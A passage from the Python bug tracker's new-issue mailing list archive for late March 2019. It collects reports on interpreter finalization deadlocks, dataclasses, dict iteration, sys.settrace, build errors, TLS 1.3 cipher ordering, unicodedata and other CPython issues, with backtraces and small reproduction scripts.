#1  0x000055d00997ce6a in PyCOND_TIMEDWAIT (cond=0x55d009e8ddc0 <gil_cond>, mut=0x55d009e8dd80 <gil_mutex>, us=<optimized out>) at ../Python/condvar.h:103
#2  take_gil () at ../Python/ceval_gil.h:224
#3  0x000055d00998580b in PyEval_EvalFrameEx () at ../Python/ceval.c:1273
#4  0x000055d00996f16f in _PyEval_EvalCodeWithName.lto_priv.1929 (qualname=0x0, name=<optimized out>, closure=0x0, kwdefs=0x0, defcount=0, defs=0x0, kwcount=0, kws=<optimized out>, argcount=<optimized out>, 
    args=<optimized out>, locals=<optimized out>, globals=<optimized out>, _co=<optimized out>) at ../Python/ceval.c:4033
#5  PyEval_EvalCodeEx () at ../Python/ceval.c:4054
#6  0x000055d0099b90e3 in function_call.lto_priv () at ../Objects/funcobject.c:627
#7  0x000055d009a02e17 in PyObject_Call () at ../Objects/abstract.c:2166
#8  0x000055d00992034e in method_call.lto_priv () at ../Objects/classobject.c:330
#9  0x000055d009a02e17 in PyObject_Call () at ../Objects/abstract.c:2166
#10 0x000055d00996df7d in PyEval_CallObjectWithKeywords () at ../Python/ceval.c:4595
#11 0x000055d009a5d05d in slot_tp_repr () at ../Objects/typeobject.c:5992
#12 0x000055d0099c9685 in PyObject_Repr () at ../Objects/object.c:482
#13 0x000055d0099aa6be in unicode_fromformat_arg (vargs=0x7ffc2ca81110, f=0x55d009a8a837 "R", writer=0x7ffc2ca810b0) at ../Objects/unicodeobject.c:2645
#14 PyUnicode_FromFormatV () at ../Objects/unicodeobject.c:2710
#15 0x000055d009a572bc in PyErr_WarnFormat () at ../Python/_warnings.c:895
#16 0x000055d0098840bb in sock_dealloc (s=0x7f43000fc528) at ../Modules/socketmodule.c:4177
#17 0x000055d0099d031d in subtype_dealloc.lto_priv () at ../Objects/typeobject.c:1209
#18 0x000055d0099b68f7 in frame_dealloc.lto_priv () at ../Objects/frameobject.c:431
#19 0x000055d0098ab7b1 in PyThreadState_Clear (tstate=0x55d00bee8a70) at ../Python/pystate.c:386
#20 0x000055d009a4d08a in PyInterpreterState_Clear () at ../Python/pystate.c:118
#21 0x000055d009a4e1d2 in Py_Finalize () at ../Python/pylifecycle.c:633
#22 0x000055d009a4e2a8 in Py_Exit (sts=sts at entry=0) at ../Python/pylifecycle.c:1465
#23 0x000055d009a4e38e in handle_system_exit () at ../Python/pythonrun.c:602
#24 0x000055d009a4e3f6 in PyErr_PrintEx () at ../Python/pythonrun.c:612
#25 0x000055d009a4f667 in PyErr_Print () at ../Python/pythonrun.c:508
#26 PyRun_SimpleFileExFlags () at ../Python/pythonrun.c:401
#27 0x000055d009a7c2e7 in run_file (p_cf=0x7ffc2ca814fc, filename=0x55d00bb01140 L"...", fp=0x55d00bb62e60) at ../Modules/main.c:318
#28 Py_Main () at ../Modules/main.c:768
#29 0x000055d00990bd71 in main () at ../Programs/python.c:65
#30 0x00007f430b7cd2e1 in __libc_start_main (main=0x55d00990bc90 <main>, argc=11, argv=0x7ffc2ca81708, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffc2ca816f8)
    at ../csu/libc-start.c:291
#31 0x000055d009a12a7a in _start ()

We can see it is trying to get the GIL while finalizing (as it is emitting a warning when destroying a socket). However, this prevents any other thread to get deleted since the first thread holds the head_lock. For instance we have thread 18 trying to get the head lock:

Thread 18 (Thread 0x7f4302ffd700 (LWP 21117)):
#0  0x00007f430c6aa536 in futex_abstimed_wait_cancelable (private=0, abstime=0x0, expected=0, futex_word=0x55d00bb014c0) at ../sysdeps/unix/sysv/linux/futex-internal.h:205
#1  do_futex_wait (sem=sem at entry=0x55d00bb014c0, abstime=0x0) at sem_waitcommon.c:111
#2  0x00007f430c6aa5e4 in __new_sem_wait_slow (sem=0x55d00bb014c0, abstime=0x0) at sem_waitcommon.c:181
#3  0x000055d00994d2d5 in PyThread_acquire_lock_timed () at ../Python/thread_pthread.h:352
#4  0x000055d009a4dcec in tstate_delete_common () at ../Python/pystate.c:418
#5  0x000055d009a4dd88 in PyThreadState_DeleteCurrent () at ../Python/pystate.c:457
#6  0x000055d009a482a4 in t_bootstrap () at ../Modules/_threadmodule.c:1027
#7  0x00007f430c6a2494 in start_thread (arg=0x7f4302ffd700) at pthread_create.c:333
#8  0x00007f430b895acf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:97


I attached the full stacktrace of the 18 threads.

I a not sure wether we either shouldn't try to lock the GIL while finalizing or if i somehow just happen to have run into a thread aqcuiring the GIL without releasing it.

python version is 3.5.3.

I kept the problematic process running and can extract any information you may want from it.

----------
components: Interpreter Core, Library (Lib)
files: stacktraces
messages: 339103
nosy: mocramis
priority: normal
severity: normal
status: open
title: Stuck during interpreter exit, attempting to take the GIL
versions: Python 3.5
Added file: https://bugs.python.org/file48239/stacktraces

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 07:52:18 2019
From: report at bugs.python.org (Greg Kuhn)
Date: Fri, 29 Mar 2019 11:52:18 +0000
Subject: [New-bugs-announce] [issue36470] dataclasses replace raises an
 exception with an empty
Message-ID: <1553860338.68.0.823118501948.issue36470@roundup.psfhosted.org>


New submission from Greg Kuhn <gregorykuhn at gmail.com>:

I have a snippet below which runs fine on python 3.7.0 but raises a ValueError exception on 3.7.1. I believe it's related to https://bugs.python.org/issue33805.

The error: c:\python\lib\dataclasses.py:1219: ValueError

The script:

from dataclasses import replace, dataclass, InitVar

@dataclass
class Test:
    a:int = 1
    b:InitVar[int] = None

    def __post_init__(self, b):
        if b is not None:
            self.a = b


if __name__ == '__main__':
    t = Test()
    t1 = Test(b=5)
    assert t1.a == 5

    t2 = replace(t1, **{})
    print(t2)

----------
components: Interpreter Core
messages: 339105
nosy: Greg Kuhn
priority: normal
severity: normal
status: open
title: dataclasses replace raises an exception with an empty
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36470>
_______________________________________

From report at bugs.python.org  Fri Mar 29 08:13:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 29 Mar 2019 12:13:44 +0000
Subject: [New-bugs-announce] [issue36471] PEP 432, PEP 587: Add _Py_RunMain()
Message-ID: <1553861624.16.0.982663569767.issue36471@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

The PEP 587 adds new functions taking command line arguments:

Py_PreInitializeFromArgs(config, argc, argv)
Py_PreInitializeFromWideArgs(config, argc, argv)
Py_InitializeFromArgs(config, argc, argv)
Py_InitializeFromWideArgs(config, argc, argv)

I propose to add _Py_RunMain() (currently private, until PEP 587 is accepted) to be able to implement something similar to Py_Main() but with way more configuration options:

Example to create an "isolated Python" in a few line of C:
---
#include <Python.h>

int main(int argc, char *argv[])
{
    _PyCoreConfig config = _PyCoreConfig_INIT;
    config.isolated = 1;

    _PyInitError err = _Py_InitializeFromArgs(&config, argc, argv);
    if (_Py_INIT_FAILED(err)) {
        _Py_ExitInitError(err);
    }

    return _Py_RunMain();
}
---

It's like the regular "python3" program, except that it's always isolated:
---
$ my-isolated-python
Python 3.8.0a3+ (heads/run_main-dirty:d167362ecc, Mar 29 2019, 13:03:30) 
>>> 1+1
2
>>> import sys
>>> sys.flags.isolated
1
---

Using _Py_RunMain(), it becomes trivial to implement something like PEP 432's "system python" idea ;-)

----------
components: Interpreter Core
messages: 339106
nosy: ncoghlan, vstinner
priority: normal
severity: normal
status: open
title: PEP 432, PEP 587: Add _Py_RunMain()
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36471>
_______________________________________

From report at bugs.python.org  Fri Mar 29 08:45:53 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Fri, 29 Mar 2019 12:45:53 +0000
Subject: [New-bugs-announce] [issue36472] Some old PR with CLA not signed
Message-ID: <1553863553.65.0.206304319022.issue36472@roundup.psfhosted.org>


New submission from Emmanuel Arias <emmanuelarias30 at gmail.com>:

Hello everybody!

Making a searching on GitHub: is:open label:"CLA not signed" 

We can see that there are some PR opened with CLA not signed label.
The newest is 22 days ago and the oldest is from May 8, 2017.

I can closed it if you consider apropiate

----------
messages: 339108
nosy: eamanu
priority: normal
severity: normal
status: open
title: Some old PR with CLA not signed
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36472>
_______________________________________

From report at bugs.python.org  Fri Mar 29 10:16:18 2019
From: report at bugs.python.org (Thomas Perl)
Date: Fri, 29 Mar 2019 14:16:18 +0000
Subject: [New-bugs-announce] [issue36473] Detect all dictionary changes
 during iteration
Message-ID: <1553868978.85.0.786754565606.issue36473@roundup.psfhosted.org>


New submission from Thomas Perl <th.perl at gmail.com>:

On top of issue 36452, I noticed some other corner cases that are still not handled. For one, the patch (Github PR 12596) only handles iterating over keys, but not iterating over values or items:

======
a = {0: 0}
it = iter(a.values())
print('Length hint:', it.__length_hint__())
print(next(it))
print('Length hint:', it.__length_hint__())
del a[0]
a[1] = 99
print(next(it))
print('Length hint:', it.__length_hint__())
======

Replace a.values() there with a.items() -- same issue. Note that PR 12596 fixes the a.keys() case (same as iterating over "a" directly).

Applying the "di->len == 0" check in dictiter_iternextvalue() and dictiter_iternextitem() would fix those two cases above, but would still not fix the following case:

======
a = {0: 'a', 1: 'b', 2: 'c'}

it = iter(a)
i = next(it)
print('got first:', i)
del a[1]
a[1] = 'd'
i = next(it)
print('got second:', i)
i = next(it)
print('got third:', i)

try:
    i = next(it)
    raise RuntimeError(f'got fourth: {i}')
except StopIteration:
    print('stop iteration')
======

The reason for this is that the iteration count (3 in this case) isn't modified, but the dict's keys are still changed, and the iteration order is as follows:

======
got first: 0
got second: 2
got third: 1
stop iteration
======

Note that the key 1 there is first deleted and then set.

I'll add a Github PR that tries to solve these corner cases too by tracking dict keys modification.

----------
components: Interpreter Core
messages: 339115
nosy: thomas.perl
priority: normal
severity: normal
status: open
title: Detect all dictionary changes during iteration
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36473>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:11:18 2019
From: report at bugs.python.org (daniel hahler)
Date: Fri, 29 Mar 2019 19:11:18 +0000
Subject: [New-bugs-announce] [issue36474] RecursionError resets trace
 function set via sys.settrace
Message-ID: <1553886678.98.0.673623780459.issue36474@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

A RecursionError causes the trace function set via `sys.settrace` to get removed/unset.

Given the following script:

```
import sys


def trace(*args):
    print("trace", args)
    return trace

sys.settrace(trace)


def f():
    f()


print(sys.gettrace())
try:
    f()
except Exception as exc:
    print(exc)
print(sys.gettrace())
```

Running it will output:
```
<function trace at 0x7f848594f6c0>
trace (<frame at 0x7f84859a5d98, file 't-settrace-recursionerror.py', line 11, code f>, 'call', None)
trace (<frame at 0x7f84859a5d98, file 't-settrace-recursionerror.py', line 12, code f>, 'line', None)
trace (<frame at 0x7f84858f73a0, file 't-settrace-recursionerror.py', line 11, code f>, 'call', None)
trace (<frame at 0x7f84858f73a0, file 't-settrace-recursionerror.py', line 12, code f>, 'line', None)
?
trace (<frame at 0x7f84857f0c80, file 't-settrace-recursionerror.py', line 11, code f>, 'call', None)
trace (<frame at 0x7f84857f0c80, file 't-settrace-recursionerror.py', line 12, code f>, 'line', None)
trace maximum recursion depth exceeded while getting the repr of an object
None

```

----------
components: Interpreter Core
messages: 339135
nosy: blueyed
priority: normal
severity: normal
status: open
title: RecursionError resets trace function set via sys.settrace
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36474>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:26:20 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 19:26:20 +0000
Subject: [New-bugs-announce] [issue36475] PyEval_AcquireLock() and
 PyEval_AcquireThread() do not handle runtime finalization properly.
Message-ID: <1553887580.94.0.470279627742.issue36475@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

Daemon threads keep running until they finish or until finalization starts.  For the latter, there is a check right after the thread acquires the GIL which causes the thread to exit if runtime finalization has started. [1]  However, there are functions in the C-API that facilitate acquiring the GIL, but do not cause the thread to exit during finalization:

  PyEval_AcquireLock()
  PyEval_AcquireThread()

Daemon threads that acquire the GIL through these can cause a deadlock during finalization.  (See issue #36469.)  They should probably be updated to match what PyEval_RestoreThread() does.


[1] see PyEval_RestoreThread() and the eval loop, in PyEval_EvalFrameEx()

----------
messages: 339138
nosy: eric.snow
priority: normal
severity: normal
stage: test needed
status: open
title: PyEval_AcquireLock() and PyEval_AcquireThread() do not handle runtime finalization properly.
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36475>
_______________________________________

From report at bugs.python.org  Fri Mar 29 16:38:26 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 20:38:26 +0000
Subject: [New-bugs-announce] [issue36476] Runtime finalization assumes all
 other threads have exited.
Message-ID: <1553891906.3.0.987802696833.issue36476@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

Among the first 3 things that happen in Py_FinalizeEx() are, in order:

1. wait for all non-daemon threads (of the main interpreter) to finish
2. call registered atexit funcs
3. mark the runtime as finalizing

At that point the only remaining Python threads are:

* the main thread (where finalization is happening)
* daemon threads
* non-daemon threads created in atexit functions
* any threads belonging to subinterpreters

The next time any of those threads (aside from main) acquire the GIL, we expect that they will exit via a call to PyThread_exit_thread() (caveat: issue #36475).  However, we have no guarantee on when that will happen, if ever.  Such lingering threads can cause problems, including crashes and deadlock (see issue #36469).

I don't know what else we can do, beyond what we're already doing.  Any ideas?

----------
components: Interpreter Core
messages: 339143
nosy: eric.snow
priority: normal
severity: normal
status: open
title: Runtime finalization assumes all other threads have exited.
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36476>
_______________________________________

From report at bugs.python.org  Fri Mar 29 16:39:27 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 20:39:27 +0000
Subject: [New-bugs-announce] [issue36477] Subinterpreters are not finalized
 during runtime finalization.
Message-ID: <1553891967.48.0.271328539114.issue36477@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

When using subinterpreters, any that exist when Py_FinalizeEx() is called do not appear to get cleaned up during runtime finalization.  Maybe I've been looking at the code too much and I'm missing something. :)

This really isn't a problem except for embedders that use subinterpreters (where we're leaking memory).  However, even with the "python" executable it can have an impact because the subinterpreters' non-daemon threads will exit later than expected. (see #36469 & #36476)

The solution would be to finalize all subinterpreters at the beginning of Py_FinalizeEx(), right before the call to wait_for_thread_shutdown().  This means calling Py_EndInterpreter() for all the runtime's interpreters (except the main one).  It would also mean setting a flag (_PyRuntime.interpreters.finalizing?) right before that to disallow creation of any more subinterptreters.

----------
components: Interpreter Core
messages: 339144
nosy: eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: Subinterpreters are not finalized during runtime finalization.
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36477>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:24:56 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Fri, 29 Mar 2019 21:24:56 +0000
Subject: [New-bugs-announce] [issue36478] backport of pickle fixes to Python
 3.5.7 uses C99 for loops
Message-ID: <1553894696.91.0.352723977034.issue36478@roundup.psfhosted.org>


New submission from Anthony Sottile <asottile at umich.edu>:

While building python 3.5.7 for https://github.com/deadsnakes

../Modules/_pickle.c: In function 'PyMemoTable_Copy':
../Modules/_pickle.c:677:5: error: 'for' loop initial declarations are only allowed in C99 mode
     for (size_t i = 0; i < self->mt_allocated; i++) {
     ^
../Modules/_pickle.c:677:5: note: use option -std=c99 or -std=gnu99 to compile your code
../Modules/_pickle.c: In function '_pickle_PicklerMemoProxy_copy_impl':
../Modules/_pickle.c:4207:5: error: 'for' loop initial declarations are only allowed in C99 mode
     for (size_t i = 0; i < memo->mt_allocated; ++i) {
     ^
../Modules/_pickle.c: In function 'Unpickler_set_memo':
../Modules/_pickle.c:6794:9: error: 'for' loop initial declarations are only allowed in C99 mode
         for (size_t i = 0; i < new_memo_size; i++) {
         ^
../Modules/_pickle.c:6842:9: error: 'for' loop initial declarations are only allowed in C99 mode
         for (size_t i = new_memo_size - 1; i != SIZE_MAX; i--) {
         ^
make[1]: *** [Modules/_pickle.o] Error 1


This cherry-pick caused the regression: https://github.com/python/cpython/commit/ef33dd6036aafbd3f06c1d56e2b1a81dae3da63c

----------
components: Build
messages: 339152
nosy: Anthony Sottile
priority: normal
severity: normal
status: open
title: backport of pickle fixes to Python 3.5.7 uses C99 for loops
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36478>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:59:02 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 21:59:02 +0000
Subject: [New-bugs-announce] [issue36479] Exit threads when interpreter is
 finalizing rather than runtime.
Message-ID: <1553896742.19.0.478613119545.issue36479@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

Currently when a thread acquires the GIL, it subsequently exits if the runtime is finalizing.  This helps with some cases like with stopping daemon threads.

This behavior should instead be triggered by the thread's interpreter finalizing rather than the runtime.  This implies the following changes:

* in Py_EndInterpreter() move "interp-finalizing = 1;" to right after the call to "wait_for_thread_shutdown()"
* in Py_FinalizeEx() add "interp-finalizing = 1;" right after the call to "wait_for_thread_shutdown()"
* update _PyEval_EvalFrameDefault() (the eval loop) to check "interp->finalizing" instead of the runtime
* likewise update PyEval_RestoreThread() (as well as PyEval_AcquireThread() and PyEval_AcquireLock(); see #36475)

The check will actually need to change from this:

  if (_Py_IsFinalizing() && !_Py_CURRENTLY_FINALIZING(tstate)) {

to look like this:

  if (interp->finalizing && !_Py_CURRENTLY_FINALIZING(tstate)) {

If we could guarantee that only the main thread will ever call Py_FinalizeEx() then it would look more like this:

  if (interp->finalizing && tstate.id != _PyRuntime.main_thread {

----------
components: Interpreter Core
messages: 339155
nosy: eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: Exit threads when interpreter is finalizing rather than runtime.
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36479>
_______________________________________

From report at bugs.python.org  Fri Mar 29 20:14:47 2019
From: report at bugs.python.org (78)
Date: Sat, 30 Mar 2019 00:14:47 +0000
Subject: [New-bugs-announce] [issue36480] .strip() unexpected output on
 Windows
Message-ID: <1553904887.35.0.429598620868.issue36480@roundup.psfhosted.org>


New submission from 78 <78alphadeviant at gmail.com>:

Using .strip() on windows leads to the first and last character of a word being deleted.

Magenta.zip becomes agenta.zi

----------
components: Windows
messages: 339164
nosy: 78Alpha, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: .strip() unexpected output on Windows
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36480>
_______________________________________

From report at bugs.python.org  Fri Mar 29 22:11:13 2019
From: report at bugs.python.org (=?utf-8?b?R8O2a2hhbiDDlnp0w7xyaw==?=)
Date: Sat, 30 Mar 2019 02:11:13 +0000
Subject: [New-bugs-announce] [issue36481] telnetlib process_rawq() callback
Message-ID: <1553911873.53.0.089397149063.issue36481@roundup.psfhosted.org>


New submission from G?khan ?zt?rk <gokhan at eg-ozturk.com>:

telnetlib.Telnet class requires a callback so that the raw data that comes from socket can be processed first.

This will be useful for the compressed incoming data. Most of the MUD servers have MCCP V2 (byte: 86) protocol that send compressed data. But as for now. the only option is to create new class that inherits telnetlib.Telnet and override process_rawq()

----------
components: IO
messages: 339166
nosy: G?khan ?zt?rk
priority: normal
severity: normal
status: open
title: telnetlib process_rawq() callback
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36481>
_______________________________________

From report at bugs.python.org  Fri Mar 29 22:43:45 2019
From: report at bugs.python.org (Ma Lin)
Date: Sat, 30 Mar 2019 02:43:45 +0000
Subject: [New-bugs-announce] [issue36482] let struct's internal cache use
 FIFO policy
Message-ID: <1553913825.65.0.170439395409.issue36482@roundup.psfhosted.org>


New submission from Ma Lin <malincns at 163.com>:

Currently, when the cache is full, the entire cache is cleared.
This patch let it use FIFO policy.

Inada Naoki, Raymond Hettinger, could you review this patch? Thanks.
No hurry, just do it when you have time.

----------
components: Library (Lib)
messages: 339168
nosy: Ma Lin, inada.naoki, rhettinger
priority: normal
severity: normal
status: open
title: let struct's internal cache use FIFO policy
type: behavior
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36482>
_______________________________________

From report at bugs.python.org  Sat Mar 30 03:59:38 2019
From: report at bugs.python.org (=?utf-8?q?Luis_Mu=C3=B1oz?=)
Date: Sat, 30 Mar 2019 07:59:38 +0000
Subject: [New-bugs-announce] [issue36483] Missing line in documentation
 example
Message-ID: <1553932778.03.0.764892422134.issue36483@roundup.psfhosted.org>


New submission from Luis Mu?oz <luismu78 at gmail.com>:

Hi,

https://docs.python.org/3/tutorial/controlflow.html#break-and-continue-statements-and-else-clauses-on-loops

The example is missing a break at the end of the else statement.

First time reporting here. If there is an error in formating or anything else please accept my apologies.

Luis Mu?oz

----------
assignee: docs at python
components: Documentation
messages: 339184
nosy: Luis Mu?oz, docs at python
priority: normal
severity: normal
status: open
title: Missing line in documentation example
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36483>
_______________________________________

From report at bugs.python.org  Sat Mar 30 07:23:55 2019
From: report at bugs.python.org (Eman Alashwali)
Date: Sat, 30 Mar 2019 11:23:55 +0000
Subject: [New-bugs-announce] [issue36484] Can't reorder TLS 1.3 ciphersuites
Message-ID: <1553945035.34.0.303610202958.issue36484@roundup.psfhosted.org>


New submission from Eman Alashwali <eman.alashwali at gmail.com>:

Wen using the SSL module, I need to be able to reorder the ciphersuites list in TLS 1.3. I was able to do this with python using SSLContext.set_ciphers(ciphers) when working with TLS 1.2. But this is not possible with TLS 1.3 ciphersuites. The need to reorder the ciphersuites is needed because one might need a specific order to simulate specific TLS client that send the ciphersuites in specific order. Unfortunately this is seems not possible now in python with TLS 1.3 as the comment in the documentations says: https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers

Can you please consider this post as a feature request? Or clarify to me how to reorder the ciphersuites list when working with TLS 1.3?

----------
assignee: christian.heimes
components: SSL
messages: 339188
nosy: Eman Alashwali, christian.heimes
priority: normal
severity: normal
status: open
title: Can't reorder TLS 1.3 ciphersuites
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36484>
_______________________________________

From report at bugs.python.org  Sat Mar 30 07:56:59 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 11:56:59 +0000
Subject: [New-bugs-announce] [issue36485] Add a way to clear all caches
Message-ID: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

Some modules have caches. There is a need to clear all tests before running tests. Brett proposed to add in all modules with caches a function with the standardized name which is responsible for clearing module related caches. [1]

The proposed PR adds a new function clear_caches() in the sys module. It iterates all imported modules and calls function __clearcache__() if it is defined.

    def clear_caches():
        for mod in reversed(list(sys.modules.values())):
            if hasattr(mod, '__clearcache__'):
                mod.__clearcache__()

clear_caches() will be used in test.regrtest and can be used in user code. The PR defines also function __clearcache__ for modules which are cleared manually in the current code.

This is a preliminary implementation, bikeshedding is welcome.

[1] https://mail.python.org/pipermail/python-ideas/2019-March/056165.html

----------
components: Library (Lib), Tests
messages: 339190
nosy: brett.cannon, ezio.melotti, michael.foord, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Add a way to clear all caches
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sat Mar 30 10:41:13 2019
From: report at bugs.python.org (David Corbett)
Date: Sat, 30 Mar 2019 14:41:13 +0000
Subject: [New-bugs-announce] [issue36486] Bugs and inconsistencies in
 unicodedata
Message-ID: <1553956873.19.0.268771747568.issue36486@roundup.psfhosted.org>


New submission from David Corbett <corbett.dav at husky.neu.edu>:

In `unicodedata`, the functions `lookup` and `name` have some bugs and inconsistencies.

`lookup` matches case-insensitively, except for the algorithmic names of Hangul syllables and CJK unified ideographs, which must be in all caps. The documentation does not explain how character names are fuzzily matched.

`lookup` accepts names like ?CJK UNIFIED IDEOGRAPH-04E00?, where the code point has a leading zero.

`lookup` and `name` don?t implement rule NR2, defined in chapter 4 of Unicode, for Tangut ideographs? names.

----------
assignee: docs at python
components: Documentation, Unicode
messages: 339203
nosy: docs at python, dscorbett, ezio.melotti, vstinner
priority: normal
severity: normal
status: open
title: Bugs and inconsistencies in unicodedata
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36486>
_______________________________________

From report at bugs.python.org  Sat Mar 30 11:55:50 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Sat, 30 Mar 2019 15:55:50 +0000
Subject: [New-bugs-announce] [issue36487] Make C-API docs clear about what
 the "main" interpreter is
Message-ID: <1553961350.55.0.679076430542.issue36487@roundup.psfhosted.org>


New submission from Joannah Nanjekye <nanjekyejoannah at gmail.com>:

Following up a discussion on a PR here : https://github.com/python/cpython/pull/12238, There is need to make sure the C-API docs are clear about what the "main" interpreter is.

----------
messages: 339207
nosy: nanjekyejoannah
priority: normal
severity: normal
status: open
title: Make C-API docs  clear about what the "main" interpreter is

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36487>
_______________________________________

From report at bugs.python.org  Sat Mar 30 12:47:38 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Sat, 30 Mar 2019 16:47:38 +0000
Subject: [New-bugs-announce] [issue36488] BSD/OSX: os.sendfile() does not
 return bytes sent on EINTR
Message-ID: <1553964458.43.0.741059488448.issue36488@roundup.psfhosted.org>


New submission from Giampaolo Rodola' <g.rodola at gmail.com>:

>From "man sendfile" on both OSX and FreeBSD:

<<[EINTR] A signal interrupted sendfile() before it could be completed. If specified, the number of bytes successfully sent will be returned in *len.>>

Right now we catch EINTR and simply retry. Instead we should only retry is no bytes were sent, else we should return those bytes, similarly to what we do on EAGAIN and EBUSY:
https://github.com/python/cpython/blob/2438cdf0e932a341c7613bf4323d06b91ae9f1f1/Modules/posixmodule.c#L8907-L8917

----------
components: Library (Lib)
messages: 339214
nosy: giampaolo.rodola
priority: normal
severity: normal
stage: needs patch
status: open
title: BSD/OSX: os.sendfile() does not return bytes sent on EINTR
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36488>
_______________________________________

From report at bugs.python.org  Sat Mar 30 17:18:32 2019
From: report at bugs.python.org (Daniel Black)
Date: Sat, 30 Mar 2019 21:18:32 +0000
Subject: [New-bugs-announce] [issue36489] add filename_extension_map and/or
 content-types_map dict(s) to mimetypes
Message-ID: <1553980712.92.0.44378409883.issue36489@roundup.psfhosted.org>


New submission from Daniel Black <dyspop at gmail.com>:

In https://bugs.python.org/issue36460 (which should be probably be disregarded until AMP is in RFC) I discovered that the types_map dictionary within the mimetypes module is a key: str to key: str (1:1) relationship. The reality is that many filename extensions commonly support multiple content-types and even sub types. A more useful structure might look like:

(fne is "file name extension" aka foo)

{
  '.fne': ['type1/subtype', 'type2/subtype'],
  '.htm': ['text/html', 'text/css', 'text/javascript'],
  '.html': ['text/html', 'text/css', 'text/javascript']
} 

However this seems to compete with the functionality of the types map so another consideration is content-types_map where the content-type is the key and the pair values are lists of valid filename extensions:

{
  'audio/x-aiff': ['.aifc', '.aiff', '.au'],
  'text/html': ['.html', '.htm']
}

----------
messages: 339221
nosy: Daniel Black
priority: normal
severity: normal
status: open
title: add filename_extension_map and/or content-types_map dict(s) to mimetypes

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36489>
_______________________________________

From report at bugs.python.org  Sun Mar 31 00:08:08 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Sun, 31 Mar 2019 04:08:08 +0000
Subject: [New-bugs-announce] [issue36490] Modernize function signature
 format in Archiving section of shutil doc
Message-ID: <1554005288.19.0.789880523073.issue36490@roundup.psfhosted.org>


New submission from C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:

In the process of updating the documentation for another issue, I noticed that unlike the rest of the shutil doc (and the Python docs in general, not to mention those of virtually every Python package), all the functions in the [Archiving operations section](https://docs.python.org/3/library/shutil.html#archiving-operations) uses the old style, difficult to parse nested-bracket notation for the function signatures, rather then the modern style displaying them as they would be expected to appear in Python code, with clearly and explicitly indicated defaults.

Therefore, given all bracketed items are keyword arguments with defaults, and there are no cases more complex then the standard linearly-nested brackets, is there a particular reason why this was retained? Otherwise, I can go ahead and submit a PR to update this.

----------
assignee: docs at python
components: Documentation
messages: 339243
nosy: CAM-Gerlach, docs at python
priority: normal
severity: normal
status: open
title: Modernize function signature format in Archiving section of shutil doc
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36490>
_______________________________________

From report at bugs.python.org  Sun Mar 31 02:09:17 2019
